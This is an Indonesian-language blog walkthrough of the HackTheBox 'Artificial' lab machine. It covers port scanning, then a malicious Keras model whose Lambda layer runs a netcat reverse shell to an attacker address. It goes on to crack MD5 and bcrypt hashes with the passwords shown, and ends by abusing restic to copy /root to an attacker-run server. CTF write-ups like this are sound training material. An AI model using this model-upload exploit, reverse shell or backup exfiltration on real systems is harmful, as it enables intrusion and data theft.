HTB Artificial Walkthrough – Easy Linux Box dengan TensorFlow RCE
Htb Artificial Walkthrough Cover
HTB Artificial Walkthrough

Kategori: HackTheBox, CTF, TensorFlow, Linux

Tingkat Kesulitan: Easy

Sistem Operasi: Linux

🧠 Deskripsi Umum

Artificial adalah mesin dari platform HackTheBox (HTB) dengan tingkat kesulitan Easy. Box ini berfokus pada eksploitasi model TensorFlow untuk mendapatkan akses shell, dan dilanjutkan dengan privilege escalation menggunakan backup service restic.

🔍 Langkah 1 – Enumeration dengan Nmap

nmap -sV -A artificial.htb

Hasil scan menunjukkan port 22 (SSH) dan 80 (HTTP) terbuka. Di port 80 terdapat aplikasi Artificial - AI Solutions dengan fitur upload model. Ini adalah awal dari eksploitasi HTB Artificial walkthrough.

⚙️ Langkah 2 – TensorFlow RCE

Setelah menganalisis requirements.txt, target menggunakan:

tensorflow-cpu==2.13.1

Exploit TensorFlow Lambda untuk menjalankan reverse shell:

import tensorflow as tf

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR-IP 6666 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

Upload file, lalu klik View Predictions untuk mendapat reverse shell. Teknik ini dikenal sebagai RCE via Keras Lambda Layer.

👤 Langkah 3 – Mendapatkan Akses ke User Gael

Di dalam users.db, ditemukan hash MD5:

c99175974b6e192936d97224638a34f8

Crack menggunakan John the Ripper:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash.txt

✅ Password: mattp005numbertwo

Gunakan untuk login sebagai user gael.

🔐 Langkah 4 – Privilege Escalation ke Root

Di folder /var/backups ditemukan file backrest_backup.tar.gz yang berisi konfigurasi:

"passwordBcrypt": "JDJhJDEwJGNWR0..."

Lakukan base64 decoding dan crack hash bcrypt:

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

✅ Password: !@#$%^

🔄 Langkah 5 – Port Forwarding & Restic Exploit

Port internal 9898 terbuka:

ssh gael@artificial.htb -L 9898:127.0.0.1:9898

Setup rest-server di mesin lokal:

./rest-server --path /tmp/restic-data --listen :12345 --no-auth

Inisialisasi dan backup direktori root:

restic -r rest:http://YOUR-IP:12345/myrepo init
restic -r rest:http://YOUR-IP:12345/myrepo backup /root

Lalu restore di lokal:

restic -r /tmp/restic-data/myrepo restore SNAPSHOT_ID --target ./restore

root.txt ditemukan di folder hasil restore. Teknik ini memanfaatkan Restic GTFOBins escalation.

✅ Ringkasan Eksploitasi

  • User Own: Exploit TensorFlow RCE → Dump SQLite DB → Crack password MD5
  • Root Own: Extract backup → Crack bcrypt → Port forwarding → Abuse Restic

📈 Tips SEO & Kata Kunci

Gunakan tag dan focus keywords berikut:

  • htb artificial walkthrough
  • hackthebox artificial writeup
  • tensorflow rce htb
  • hackthebox tensorflow exploit
  • htb artificial reverse shell
  • hackthebox linux privilege escalation
  • restic gtfobins escalation
  • crack md5 hash john the ripper
  • bypass authentication htb
  • artificial.htb solution

💬 Jika walkthrough ini bermanfaat, jangan lupa share ke komunitasmu dan bookmark website hideseclabs.my.id untuk update CTF lainnya. Selamat mencoba dan happy hacking!